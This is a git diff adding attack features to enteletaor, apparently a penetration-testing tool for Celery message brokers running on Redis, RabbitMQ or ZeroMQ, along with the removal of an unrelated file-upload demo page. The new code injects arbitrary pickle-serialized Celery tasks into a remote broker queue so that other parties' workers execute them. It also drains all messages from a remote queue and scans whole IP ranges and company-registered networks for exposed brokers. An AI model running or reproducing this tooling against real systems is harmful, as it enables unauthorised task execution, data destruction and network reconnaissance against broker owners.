logger.setLevel(abs(DEBUG_LEVEL * 10) % 50)
|
||||
logger.setLevel(abs(50 - (DEBUG_LEVEL if DEBUG_LEVEL < 5 else 5) * 10))
|
||||
|
||||
# Set file log format
|
||||
file_format = logging.Formatter('[%(levelname)s] %(asctime)s - %(message)s', "%Y-%m-%d %H:%M:%S")
|
||||
log_file = logging.FileHandler(filename="%s.log" % __name__)
|
||||
log_file = logging.FileHandler(filename="%s.log" % __tool_name__)
|
||||
log_file.setFormatter(file_format)
|
||||
|
||||
# Handler: console
|
||||
|
||||
@@ -25,4 +25,5 @@ def set_log_level(parsed_args):
|
||||
"""
|
||||
|
||||
if hasattr(parsed_args, "verbosity"):
|
||||
log.setLevel(abs(parsed_args.verbosity * 10) % 50)
|
||||
# log.setLevel(abs(50 - (parsed_args.verbosity * 10)))
|
||||
log.setLevel(abs(50 - ((parsed_args.verbosity if parsed_args.verbosity < 5 else 5) * 10)))
|
||||
|
||||
@@ -14,7 +14,10 @@ class IModule:
|
||||
|
||||
def run(self, module_config):
|
||||
if hasattr(self, "__submodules__"):
|
||||
self.__submodules__[module_config.sub_action]['action'](module_config)
|
||||
try:
|
||||
self.__submodules__[module_config.sub_action]['action'](module_config)
|
||||
except KeyError:
|
||||
self.__submodules__["default"]['action'](module_config)
|
||||
else:
|
||||
raise NotImplemented("Run method must be override")
|
||||
|
||||
|
||||
@@ -7,9 +7,11 @@ from modules import IModule
|
||||
from libs.core.structs import CommonData
|
||||
from libs.core.models import IntegerField, StringField, SelectField
|
||||
|
||||
from .cmd_actions import parser_proc_raw_dump, parser_proc_list_process
|
||||
from .cmd_actions import parser_proc_raw_dump, parser_proc_list_process, parser_proc_inject_process
|
||||
from .proc_remove import action_proc_remove
|
||||
from .proc_raw_dump import action_proc_raw_dump
|
||||
from .proc_list_process import action_proc_list_process
|
||||
from .proc_inject_process import action_proc_inject_process
|
||||
|
||||
log = logging.getLogger()
|
||||
|
||||
@@ -44,6 +46,16 @@ class RemoteProcessModule(IModule):
|
||||
cmd_args=parser_proc_list_process,
|
||||
action=action_proc_list_process
|
||||
),
|
||||
'inject': dict(
|
||||
help="list remote process and their params",
|
||||
cmd_args=parser_proc_inject_process,
|
||||
action=action_proc_inject_process
|
||||
),
|
||||
'remove': dict(
|
||||
help="remove remote processes in server",
|
||||
cmd_args=None,
|
||||
action=action_proc_remove
|
||||
),
|
||||
}
|
||||
|
||||
name = "proc"
|
||||
|
||||
@@ -17,9 +17,20 @@ def parser_proc_raw_dump(parser):
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
def parser_proc_list_process(parser):
|
||||
parser.add_argument("-N", "--no-stream", dest="no_stream", action="store_true", default=False,
|
||||
help="force to not listen until message is received")
|
||||
|
||||
gr = parser.add_argument_group("process exporting options")
|
||||
|
||||
gr.add_argument("-T", "--make-template", dest="template", type=str,
|
||||
help="export process as a JSON template format, ready to make injections")
|
||||
gr.add_argument("-F", "--function-name", dest="function_name", type=str,
|
||||
help="only export this function name")
|
||||
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
def parser_proc_inject_process(parser):
|
||||
gr = parser.add_argument_group("process importing options")
|
||||
|
||||
gr.add_argument("-f", "--function-file", dest="function_files", type=str, required=True,
|
||||
help="import process info from JSON file")
|
||||
|
||||
76
enteletaor_lib/modules/proc/proc_inject_process.py
Normal file
@@ -0,0 +1,76 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
|
||||
import six
|
||||
import uuid
|
||||
import json
|
||||
import logging
|
||||
|
||||
from kombu import Connection
|
||||
from collections import OrderedDict
|
||||
|
||||
|
||||
log = logging.getLogger()
|
||||
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
def action_proc_inject_process(config):
|
||||
|
||||
if config.function_files is None:
|
||||
log.warning(" - input .json file with process files is needed")
|
||||
return
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Load process information
|
||||
# --------------------------------------------------------------------------
|
||||
with open(config.function_files, "r") as f:
|
||||
f_info = json.load(f)
|
||||
|
||||
log.warning(" - Building process...")
|
||||
|
||||
# Search and inject process
|
||||
injections = []
|
||||
for p in f_info:
|
||||
|
||||
parameters = OrderedDict({x["param_position"]: x["param_value"] for x in p['parameters']})
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Fill process information
|
||||
# --------------------------------------------------------------------------
|
||||
inject_process = {
|
||||
"args": [x for x, y in six.iteritems(parameters)],
|
||||
"callbacks": None,
|
||||
"chord": None,
|
||||
"errbacks": None,
|
||||
"eta": None,
|
||||
"expires": None,
|
||||
"id": uuid.uuid1(),
|
||||
"kwargs": {},
|
||||
"retries": 0,
|
||||
"task": "tasks.%s" % p["function"],
|
||||
"taskset": None,
|
||||
"timelimit": [
|
||||
None,
|
||||
None
|
||||
],
|
||||
"utc": True
|
||||
}
|
||||
|
||||
injections.append(inject_process)
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Re-inject messages
|
||||
# --------------------------------------------------------------------------
|
||||
log.warning(" - Trying to connect with server...")
|
||||
|
||||
url = '%s://%s' % (config.broker_type, config.target)
|
||||
|
||||
with Connection(url) as conn:
|
||||
in_queue = conn.SimpleQueue('celery')
|
||||
|
||||
log.warning(" - Sending processes to '%s'" % config.target)
|
||||
|
||||
for i, e in enumerate(injections, 1):
|
||||
log.warning(" %s) %s" % (i, e['task']))
|
||||
# pass
|
||||
in_queue.put(e, serializer="pickle")
|
||||
@@ -5,50 +5,14 @@ import six
|
||||
import json
|
||||
import logging
|
||||
|
||||
from time import sleep
|
||||
from kombu import Connection
|
||||
|
||||
from .utils import list_remote_process
|
||||
from .utils import list_remote_process, get_param_type, export_process
|
||||
|
||||
log = logging.getLogger()
|
||||
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
def get_param_type(value):
|
||||
"""
|
||||
Try to identify the parameter type by their value
|
||||
|
||||
:return: string with type. Valid values: str, int, float, dict, list, bytes, object
|
||||
:rtype: str
|
||||
|
||||
"""
|
||||
try:
|
||||
# Distinguish between int and float
|
||||
if int(value) == value:
|
||||
return "int"
|
||||
else:
|
||||
return "float"
|
||||
|
||||
except ValueError:
|
||||
|
||||
# If raises type must be string or complex data
|
||||
if type(value) == dict:
|
||||
return "dict"
|
||||
elif type(value) == list:
|
||||
return "list"
|
||||
elif type(value) == bytes:
|
||||
try:
|
||||
value.decode()
|
||||
|
||||
return "bytes"
|
||||
except Exception:
|
||||
return "str"
|
||||
|
||||
elif type(value) == str:
|
||||
return "str"
|
||||
else:
|
||||
return "object"
|
||||
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
def action_proc_list_process(config):
|
||||
|
||||
@@ -57,17 +21,31 @@ def action_proc_list_process(config):
|
||||
url = '%s://%s' % (config.broker_type, config.target)
|
||||
|
||||
with Connection(url) as conn:
|
||||
|
||||
in_queue = conn.SimpleQueue('celery')
|
||||
|
||||
process_info = {}
|
||||
|
||||
# Get remote process
|
||||
for remote_process, remote_args in list_remote_process(config, in_queue):
|
||||
first_msg = True
|
||||
while 1:
|
||||
for remote_process, remote_args in list_remote_process(config, in_queue):
|
||||
|
||||
if remote_process not in process_info:
|
||||
process_info[remote_process] = remote_args
|
||||
if remote_process not in process_info:
|
||||
process_info[remote_process] = remote_args
|
||||
|
||||
if config.no_stream is False and not process_info:
|
||||
if first_msg is True:
|
||||
log.error(" -> Not messages found. Waiting ...")
|
||||
first_msg = False
|
||||
|
||||
sleep(0.1)
|
||||
else:
|
||||
break
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Try to identify parameters types
|
||||
# --------------------------------------------------------------------------
|
||||
|
||||
# Display info
|
||||
log.error(" - Remote process found:")
|
||||
@@ -81,30 +59,7 @@ def action_proc_list_process(config):
|
||||
if config.template is not None:
|
||||
log.warning(" - Building template...")
|
||||
|
||||
export_data = []
|
||||
|
||||
for p, v in six.iteritems(process_info):
|
||||
|
||||
# Function name restriction?
|
||||
if config.function_name is not None and config.function_name != p:
|
||||
continue
|
||||
|
||||
# Extract function params
|
||||
for i, l_p in enumerate(v):
|
||||
l_params = {
|
||||
'param_position': i,
|
||||
'param_type': get_param_type(l_p)
|
||||
}
|
||||
|
||||
# Add to function information
|
||||
l_process = {
|
||||
'function': p,
|
||||
'parameters': l_params
|
||||
}
|
||||
|
||||
# Add to all data
|
||||
|
||||
export_data.append(l_process)
|
||||
export_data = export_process(process_info, config)
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Save template
|
||||
|
||||
26
enteletaor_lib/modules/proc/proc_remove.py
Normal file
@@ -0,0 +1,26 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import logging
|
||||
|
||||
from kombu import Connection
|
||||
|
||||
from .utils import get_remote_messages
|
||||
|
||||
log = logging.getLogger()
|
||||
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
def action_proc_remove(config):
|
||||
|
||||
log.warning(" - Trying to connect with server...")
|
||||
|
||||
url = '%s://%s' % (config.broker_type, config.target)
|
||||
|
||||
with Connection(url) as conn:
|
||||
in_queue = conn.SimpleQueue('celery')
|
||||
|
||||
# Get remote process
|
||||
for _ in get_remote_messages(config, in_queue, False):
|
||||
pass
|
||||
|
||||
log.error(" - All processes removed from '%s'" % config.target)
|
||||
@@ -1,12 +1,92 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import six
|
||||
|
||||
from kombu.simple import Empty
|
||||
from six.moves.cPickle import loads
|
||||
from kombu.exceptions import SerializationError
|
||||
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
def get_remote_messages(config, queue):
|
||||
def get_param_type(value):
|
||||
"""
|
||||
Try to identify the parameter type by their value
|
||||
|
||||
:return: string with type. Valid values: str, int, float, dict, list, bytes, object
|
||||
:rtype: str
|
||||
|
||||
"""
|
||||
try:
|
||||
# Distinguish between int and float
|
||||
if int(value) == value:
|
||||
return "int"
|
||||
else:
|
||||
return "float"
|
||||
|
||||
except ValueError:
|
||||
|
||||
# If raises type must be string or complex data
|
||||
if type(value) == dict:
|
||||
return "dict"
|
||||
elif type(value) == list:
|
||||
return "list"
|
||||
elif type(value) == bytes:
|
||||
try:
|
||||
value.decode()
|
||||
|
||||
return "bytes"
|
||||
except Exception:
|
||||
return "str"
|
||||
|
||||
elif type(value) == str:
|
||||
return "str"
|
||||
else:
|
||||
return "object"
|
||||
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
# Import/export process information
|
||||
# ----------------------------------------------------------------------
|
||||
def export_process(process_info, config):
|
||||
"""
|
||||
Export process info to json file
|
||||
|
||||
:return: return a dict JSON compatible
|
||||
:rtype: dict
|
||||
"""
|
||||
|
||||
export_data = []
|
||||
|
||||
for p, v in six.iteritems(process_info):
|
||||
|
||||
# Function name restriction?
|
||||
if config.function_name is not None and config.function_name != p:
|
||||
continue
|
||||
|
||||
# Extract function params
|
||||
params = []
|
||||
for i, l_p in enumerate(v):
|
||||
l_params = {
|
||||
'param_position': i,
|
||||
'param_type': get_param_type(l_p),
|
||||
'param_value': None
|
||||
}
|
||||
params.append(l_params)
|
||||
|
||||
# Add to function information
|
||||
l_process = {
|
||||
'function': p,
|
||||
'parameters': params
|
||||
}
|
||||
|
||||
# Add to all data
|
||||
export_data.append(l_process)
|
||||
|
||||
return export_data
|
||||
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
def get_remote_messages(config, queue, fill=True, block=False):
|
||||
"""
|
||||
Get all messages from queue without removing from it
|
||||
|
||||
@@ -35,8 +115,9 @@ def get_remote_messages(config, queue):
|
||||
|
||||
except Empty:
|
||||
# When Queue is Empty -> reinject all removed messages
|
||||
for x in to_inject:
|
||||
queue.put(x, serializer="pickle")
|
||||
if fill is True:
|
||||
for x in to_inject:
|
||||
queue.put(x, serializer="pickle")
|
||||
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
|
||||
36
enteletaor_lib/modules/scan/__init__.py
Normal file
@@ -0,0 +1,36 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import logging
|
||||
|
||||
from modules import IModule
|
||||
|
||||
from libs.core.structs import CommonData
|
||||
from libs.core.models import StringField, BoolField, IntegerField
|
||||
|
||||
from .scan_main import action_scan_main
|
||||
|
||||
log = logging.getLogger()
|
||||
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
class ModuleModel(CommonData):
|
||||
ports = StringField(default="5672,6379,5555", label="comma separated ports")
|
||||
target = StringField(required=True)
|
||||
own_ips = BoolField(label="Try to find all IPs registered for this company")
|
||||
concurrency = IntegerField(label="maximum parallels scans", default=10)
|
||||
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
class ScanProcessModule(IModule):
|
||||
"""
|
||||
Try to extract information from remote processes
|
||||
"""
|
||||
__model__ = ModuleModel
|
||||
__submodules__ = {
|
||||
'default': dict(
|
||||
action=action_scan_main
|
||||
)
|
||||
}
|
||||
|
||||
name = "scan"
|
||||
description = "do a scans trying to find open brokers / MQ"
|
||||
113
enteletaor_lib/modules/scan/patch.py
Normal file
@@ -0,0 +1,113 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
|
||||
"""
|
||||
This file contains monkey patches for
|
||||
"""
|
||||
|
||||
from __future__ import absolute_import
|
||||
|
||||
|
||||
def new_transport_init(self, host, connect_timeout):
|
||||
|
||||
import errno
|
||||
import re
|
||||
import socket
|
||||
import ssl
|
||||
|
||||
# Jython does not have this attribute
|
||||
try:
|
||||
from socket import SOL_TCP
|
||||
except ImportError: # pragma: no cover
|
||||
from socket import IPPROTO_TCP as SOL_TCP # noqa
|
||||
|
||||
try:
|
||||
from ssl import SSLError
|
||||
except ImportError:
|
||||
class SSLError(Exception): # noqa
|
||||
pass
|
||||
|
||||
from struct import pack, unpack
|
||||
|
||||
from amqp.exceptions import UnexpectedFrame
|
||||
from amqp.utils import get_errno, set_cloexec
|
||||
|
||||
_UNAVAIL = errno.EAGAIN, errno.EINTR, errno.ENOENT
|
||||
|
||||
AMQP_PORT = 5672
|
||||
|
||||
EMPTY_BUFFER = bytes()
|
||||
|
||||
# Yes, Advanced Message Queuing Protocol Protocol is redundant
|
||||
AMQP_PROTOCOL_HEADER = 'AMQP\x01\x01\x00\x09'.encode('latin_1')
|
||||
|
||||
# Match things like: [fe80::1]:5432, from RFC 2732
|
||||
IPV6_LITERAL = re.compile(r'\[([\.0-9a-f:]+)\](?::(\d+))?')
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# __init__ content:
|
||||
# --------------------------------------------------------------------------
|
||||
self.connected = True
|
||||
msg = None
|
||||
port = AMQP_PORT
|
||||
|
||||
m = IPV6_LITERAL.match(host)
|
||||
if m:
|
||||
host = m.group(1)
|
||||
if m.group(2):
|
||||
port = int(m.group(2))
|
||||
else:
|
||||
if ':' in host:
|
||||
host, port = host.rsplit(':', 1)
|
||||
port = int(port)
|
||||
|
||||
self.sock = None
|
||||
last_err = None
|
||||
for res in socket.getaddrinfo(host, port, 0,
|
||||
socket.SOCK_STREAM, SOL_TCP):
|
||||
af, socktype, proto, canonname, sa = res
|
||||
try:
|
||||
self.sock = socket.socket(af, socktype, proto)
|
||||
try:
|
||||
set_cloexec(self.sock, True)
|
||||
except NotImplementedError:
|
||||
pass
|
||||
self.sock.settimeout(connect_timeout)
|
||||
self.sock.connect(sa)
|
||||
except socket.error as exc:
|
||||
msg = exc
|
||||
self.sock.close()
|
||||
self.sock = None
|
||||
last_err = msg
|
||||
continue
|
||||
break
|
||||
|
||||
if not self.sock:
|
||||
# Didn't connect, return the most recent error message
|
||||
raise socket.error(last_err)
|
||||
|
||||
try:
|
||||
# self.sock.settimeout(None)
|
||||
self.sock.setsockopt(SOL_TCP, socket.TCP_NODELAY, 1)
|
||||
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
|
||||
|
||||
self._setup_transport()
|
||||
|
||||
self._write(AMQP_PROTOCOL_HEADER)
|
||||
except (OSError, IOError, socket.error) as exc:
|
||||
if get_errno(exc) not in _UNAVAIL:
|
||||
self.connected = False
|
||||
raise
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# amqlib
|
||||
# --------------------------------------------------------------------------
|
||||
def patch_transport():
|
||||
"""
|
||||
This function path transport constructor to fix timeout in sockets
|
||||
"""
|
||||
|
||||
from amqp.transport import _AbstractTransport
|
||||
|
||||
_AbstractTransport.__init__ = new_transport_init
|
||||
234
enteletaor_lib/modules/scan/scan_main.py
Normal file
@@ -0,0 +1,234 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import six
|
||||
import zmq
|
||||
import redis
|
||||
import socket
|
||||
import logging
|
||||
import eventlet
|
||||
import ipaddress
|
||||
import amqp.connection
|
||||
|
||||
|
||||
from functools import partial
|
||||
from threading import Thread, BoundedSemaphore
|
||||
|
||||
from .patch import patch_transport
|
||||
from enteletaor_lib.libs.contrib.inetnum import get_inet_num
|
||||
|
||||
# Monkey patch for AMQP lib
|
||||
patch_transport()
|
||||
# Path thread library
|
||||
eventlet.monkey_patch(socket=True, select=True, thread=True)
|
||||
|
||||
|
||||
# Reconfigure AMQP LOGGER
|
||||
logging.getLogger('amqp').setLevel(100)
|
||||
|
||||
log = logging.getLogger()
|
||||
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
def _do_scan(config, sem, host):
|
||||
"""
|
||||
This function try to find brokers services open in remote servers
|
||||
"""
|
||||
|
||||
handlers = {
|
||||
'Redis': handle_redis,
|
||||
'RabbitMQ': handle_amqp,
|
||||
'ZeroMQ': handle_zmq
|
||||
}
|
||||
|
||||
log.warning(" > Analyzing host '%s' " % host)
|
||||
|
||||
for port in config.ports.split(","):
|
||||
|
||||
# Check each serve
|
||||
for server, handle in six.iteritems(handlers):
|
||||
|
||||
try:
|
||||
log.debug(" >> Trying '%s' port '%s'" % (host, port))
|
||||
|
||||
# Try to check if port is open
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(1)
|
||||
|
||||
result = s.connect_ex((host, int(port)))
|
||||
except socket.gaierror as e:
|
||||
log.warning("%s : %s error: %s" % (server, port, e))
|
||||
continue
|
||||
|
||||
# Is port open?
|
||||
if result == 0:
|
||||
if handle(host, port, config) is True:
|
||||
log.error(" <!!> Open '%s' server found in port '%s'" % (server, port))
|
||||
else:
|
||||
log.debug(" <i> Port %s is closed" % port)
|
||||
|
||||
sem.release()
|
||||
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
def action_scan_main(config):
|
||||
# --------------------------------------------------------------------------
|
||||
# Resolve target
|
||||
# --------------------------------------------------------------------------
|
||||
all_ips = build_targets(config)
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Preparing scan
|
||||
# --------------------------------------------------------------------------
|
||||
target_number = len(all_ips)
|
||||
|
||||
log.warning(" - Number of targets to analyze: %s" % target_number)
|
||||
|
||||
# Semaphore
|
||||
sem = BoundedSemaphore(config.concurrency)
|
||||
threads = []
|
||||
|
||||
# Map parameters
|
||||
_fn = partial(_do_scan, config, sem)
|
||||
|
||||
log.error(" - Starting scan")
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Do scan
|
||||
# --------------------------------------------------------------------------
|
||||
for x in all_ips:
|
||||
sem.acquire()
|
||||
|
||||
t = Thread(target=_fn, args=(x,))
|
||||
threads.append(t)
|
||||
|
||||
t.start()
|
||||
|
||||
for t in threads:
|
||||
t.join()
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
def build_targets(config):
|
||||
|
||||
results = set()
|
||||
|
||||
# Split targets
|
||||
for t in config.target.split("-"):
|
||||
try:
|
||||
results.update(str(x) for x in ipaddress.ip_network(t, strict=False))
|
||||
except ValueError:
|
||||
# --------------------------------------------------------------------------
|
||||
# If reach this, is not a IPs, is a domain
|
||||
# --------------------------------------------------------------------------
|
||||
|
||||
# Try to get all assigned IP of domain
|
||||
if config.own_ips is True:
|
||||
|
||||
# Extract domain
|
||||
try:
|
||||
val = get_inet_num(t.split(".")[-2])
|
||||
|
||||
if val is not None:
|
||||
|
||||
for v in val:
|
||||
log.debug(" -> Detected registered network '%s'. Added for scan." % v)
|
||||
|
||||
results.update(str(x) for x in ipaddress.ip_network(v, strict=False))
|
||||
except KeyError:
|
||||
# Invalid domain
|
||||
log.debug(" <ii> Error while try to extract domain: '%s'" % t)
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Get all IPs for domain
|
||||
# --------------------------------------------------------------------------
|
||||
|
||||
# If target is a domain, remove CDIR
|
||||
_target_cdir = t.split("/")
|
||||
|
||||
_cleaned_target = _target_cdir[0]
|
||||
|
||||
try:
|
||||
# Resolve
|
||||
host_ip = socket.gethostbyname(_cleaned_target)
|
||||
except socket.gaierror:
|
||||
# Try with the hostname with "www." again
|
||||
try:
|
||||
host_ip = socket.gethostbyname("www.%s" % _cleaned_target)
|
||||
except socket.gaierror:
|
||||
log.error(" <ii> Unable to resolve '%s'" % _cleaned_target)
|
||||
|
||||
continue
|
||||
|
||||
# Add CDIR to result
|
||||
scan_target = "%s%s" % (host_ip, "/%s" % _target_cdir[1] if len(_target_cdir) > 1 else "")
|
||||
|
||||
results.update(str(x) for x in ipaddress.ip_network(scan_target, strict=False))
|
||||
|
||||
return results
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# These 3 functions determinate if server has listen one of these services:
|
||||
# - Redis server
|
||||
# - RabbitMQ server
|
||||
# - ZeroMQ PUB/SUB pattern
|
||||
#
|
||||
# Each function try to connect or do some action and determinate if service
|
||||
# is on or not.
|
||||
# --------------------------------------------------------------------------
|
||||
def handle_redis(host, port=6379, extra_config=None):
|
||||
|
||||
# log.debug(" * Connection to Redis: %s : %s" % (host, port))
|
||||
|
||||
try:
|
||||
redis.StrictRedis(host=host, port=port, socket_connect_timeout=1, socket_timeout=1).config_get()
|
||||
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
def handle_amqp(host, port=5672, extra_config=None):
|
||||
|
||||
host_and_port = "%s:%s" % (host, port)
|
||||
|
||||
# log.debug(" * Connection to RabbitMQ: %s : %s" % (host, port))
|
||||
|
||||
try:
|
||||
amqp.connection.Connection(host=host_and_port,
|
||||
connect_timeout=1,
|
||||
read_timeout=1,
|
||||
socket_timeout=1)
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
def handle_zmq(host, port=5555, extra_config=None):
|
||||
|
||||
# log.debug(" * Connection to ZeroMQ: %s : %s" % (host, port))
|
||||
|
||||
context = zmq.Context()
|
||||
|
||||
# Configure
|
||||
socket = context.socket(zmq.SUB)
|
||||
socket.setsockopt(zmq.SUBSCRIBE, b"") # All topics
|
||||
socket.setsockopt(zmq.LINGER, 0) # All topics
|
||||
socket.RCVTIMEO = 1000 # timeout: 1 sec
|
||||
|
||||
# Connect
|
||||
socket.connect("tcp://%s:%s" % (host, port))
|
||||
|
||||
# Try to receive
|
||||
try:
|
||||
socket.recv()
|
||||
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
finally:
|
||||
socket.close()
|
||||
@@ -1,185 +0,0 @@
|
||||
<!DOCTYPE HTML>
|
||||
<!--
|
||||
/*
|
||||
* jQuery File Upload Plugin Demo
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2010, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*/
|
||||
-->
|
||||
<html lang="es">
|
||||
<head>
|
||||
<!-- Force latest IE rendering engine or ChromeFrame if installed -->
|
||||
<!--[if IE]>
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
||||
<![endif]-->
|
||||
<meta charset="utf-8">
|
||||
<title>jQuery File Upload Demo</title>
|
||||
<meta name="description" content="File Upload widget with multiple file selection, drag&drop support, progress bars, validation and preview images, audio and video for jQuery. Supports cross-domain, chunked and resumable file uploads and client-side image resizing. Works with any server-side platform (PHP, Python, Ruby on Rails, Java, Node.js, Go etc.) that supports standard HTML form file uploads.">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<!-- Bootstrap styles -->
|
||||
<link rel="stylesheet" href="http://netdna.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css">
|
||||
<!-- Generic page styles -->
|
||||
<link rel="stylesheet" href="static/css/style.css">
|
||||
<!-- blueimp Gallery styles -->
|
||||
<link rel="stylesheet" href="http://blueimp.github.io/Gallery/css/blueimp-gallery.min.css">
|
||||
<!-- CSS to style the file input field as button and adjust the Bootstrap progress bars -->
|
||||
<link rel="stylesheet" href="static/css/jquery.fileupload.css">
|
||||
<link rel="stylesheet" href="static/css/jquery.fileupload-ui.css">
|
||||
<!-- CSS adjustments for browsers with JavaScript disabled -->
|
||||
<noscript><link rel="stylesheet" href="static/css/jquery.fileupload-noscript.css"></noscript>
|
||||
<noscript><link rel="stylesheet" href="static/css/jquery.fileupload-ui-noscript.css"></noscript>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<h1>Conversor informes a Docx</h1>
|
||||
<h2 class="lead">Arrastra los informes, en formato .XML, a la zona enmarcada y pulsa el botón <b>convertir</b>.</h2>
|
||||
<!-- The file upload form used as target for the file upload widget -->
|
||||
<form id="fileupload" action="//jquery-file-upload.appspot.com/" method="POST" enctype="multipart/form-data">
|
||||
<!-- Redirect browsers with JavaScript disabled to the origin page -->
|
||||
<noscript><input type="hidden" name="redirect" value="https://blueimp.github.io/jQuery-File-Upload/"></noscript>
|
||||
<!-- The fileupload-buttonbar contains buttons to add/delete files and start/cancel the upload -->
|
||||
<div class="row fileupload-buttonbar">
|
||||
<div class="col-lg-7">
|
||||
<!-- The fileinput-button span is used to style the file input field as button -->
|
||||
<span class="btn btn-success fileinput-button">
|
||||
<span>Ańadir ficheros...</span>
|
||||
<i class="glyphicon glyphicon-plus"></i>
|
||||
<input type="file" name="files[]" multiple>
|
||||
</span>
|
||||
<button type="submit" class="btn btn-primary start">
|
||||
<span>Iniciar conversión</span>
|
||||
<i class="glyphicon glyphicon-play-circle"></i>
|
||||
</button>
|
||||
<!-- The global file processing state -->
|
||||
<span class="fileupload-process"></span>
|
||||
</div>
|
||||
<!-- The global progress state -->
|
||||
<div class="col-lg-5 fileupload-progress fade">
|
||||
<!-- The global progress bar -->
|
||||
<div class="progress progress-striped active" role="progressbar" aria-valuemin="0" aria-valuemax="100">
|
||||
<div class="progress-bar progress-bar-success" style="width:0%;"></div>
|
||||
</div>
|
||||
<!-- The extended global progress state -->
|
||||
<div class="progress-extended"> </div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- The table listing the files available for upload/download -->
|
||||
|
||||
<div class="row zone">
|
||||
<div class="col-10">
|
||||
<table role="presentation" class="table table-striped"><tbody class="files"></tbody></table>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
</div>
|
||||
<!-- The blueimp Gallery widget -->
|
||||
<!-- The template to display files available for upload -->
|
||||
<script id="template-upload" type="text/x-tmpl">
|
||||
{% for (var i=0, file; file=o.files[i]; i++) { %}
|
||||
<tr class="template-upload fade">
|
||||
<td>
|
||||
<span class="preview"></span>
|
||||
</td>
|
||||
<td>
|
||||
<p class="name">{%=file.name%}</p>
|
||||
<strong class="error text-danger"></strong>
|
||||
</td>
|
||||
<td>
|
||||
<p class="size">Processing...</p>
|
||||
<div class="progress progress-striped active" role="progressbar" aria-valuemin="0" aria-valuemax="100" aria-valuenow="0"><div class="progress-bar progress-bar-success" style="width:0%;"></div></div>
|
||||
</td>
|
||||
<td>
|
||||
{% if (!i && !o.options.autoUpload) { %}
|
||||
<button class="btn btn-primary start" disabled>
|
||||
<i class="glyphicon glyphicon-upload"></i>
|
||||
<span>Convertir</span>
|
||||
</button>
|
||||
{% } %}
|
||||
</td>
|
||||
</tr>
|
||||
{% } %}
|
||||
</script>
|
||||
<!-- The template to display files available for download -->
|
||||
<script id="template-download" type="text/x-tmpl">
|
||||
{% for (var i=0, file; file=o.files[i]; i++) { %}
|
||||
<tr class="template-download fade">
|
||||
<td>
|
||||
<span class="preview">
|
||||
{% if (file.thumbnailUrl) { %}
|
||||
<a href="{%=file.url%}" title="{%=file.name%}" download="{%=file.name%}" data-gallery><img src="{%=file.thumbnailUrl%}"></a>
|
||||
{% } %}
|
||||
</span>
|
||||
</td>
|
||||
<td>
|
||||
<p class="name">
|
||||
{% if (file.url) { %}
|
||||
<a href="{%=file.url%}" title="{%=file.name%}" download="{%=file.name%}" {%=file.thumbnailUrl?'data-gallery':''%}>{%=file.name%}</a>
|
||||
{% } else { %}
|
||||
<span>{%=file.name%}</span>
|
||||
{% } %}
|
||||
</p>
|
||||
{% if (file.error) { %}
|
||||
<div><span class="label label-danger">Error</span> {%=file.error%}</div>
|
||||
{% } %}
|
||||
</td>
|
||||
<td>
|
||||
<span class="size">{%=o.formatFileSize(file.size)%}</span>
|
||||
</td>
|
||||
<td>
|
||||
{% if (file.deleteUrl) { %}
|
||||
<button class="btn btn-danger delete" data-type="{%=file.deleteType%}" data-url="{%=file.deleteUrl%}"{% if (file.deleteWithCredentials) { %} data-xhr-fields='{"withCredentials":true}'{% } %}>
|
||||
<i class="glyphicon glyphicon-trash"></i>
|
||||
<span>Delete</span>
|
||||
</button>
|
||||
<input type="checkbox" name="delete" value="1" class="toggle">
|
||||
{% } else { %}
|
||||
<button class="btn btn-warning cancel">
|
||||
<i class="glyphicon glyphicon-ban-circle"></i>
|
||||
<span>Cancel</span>
|
||||
</button>
|
||||
{% } %}
|
||||
</td>
|
||||
</tr>
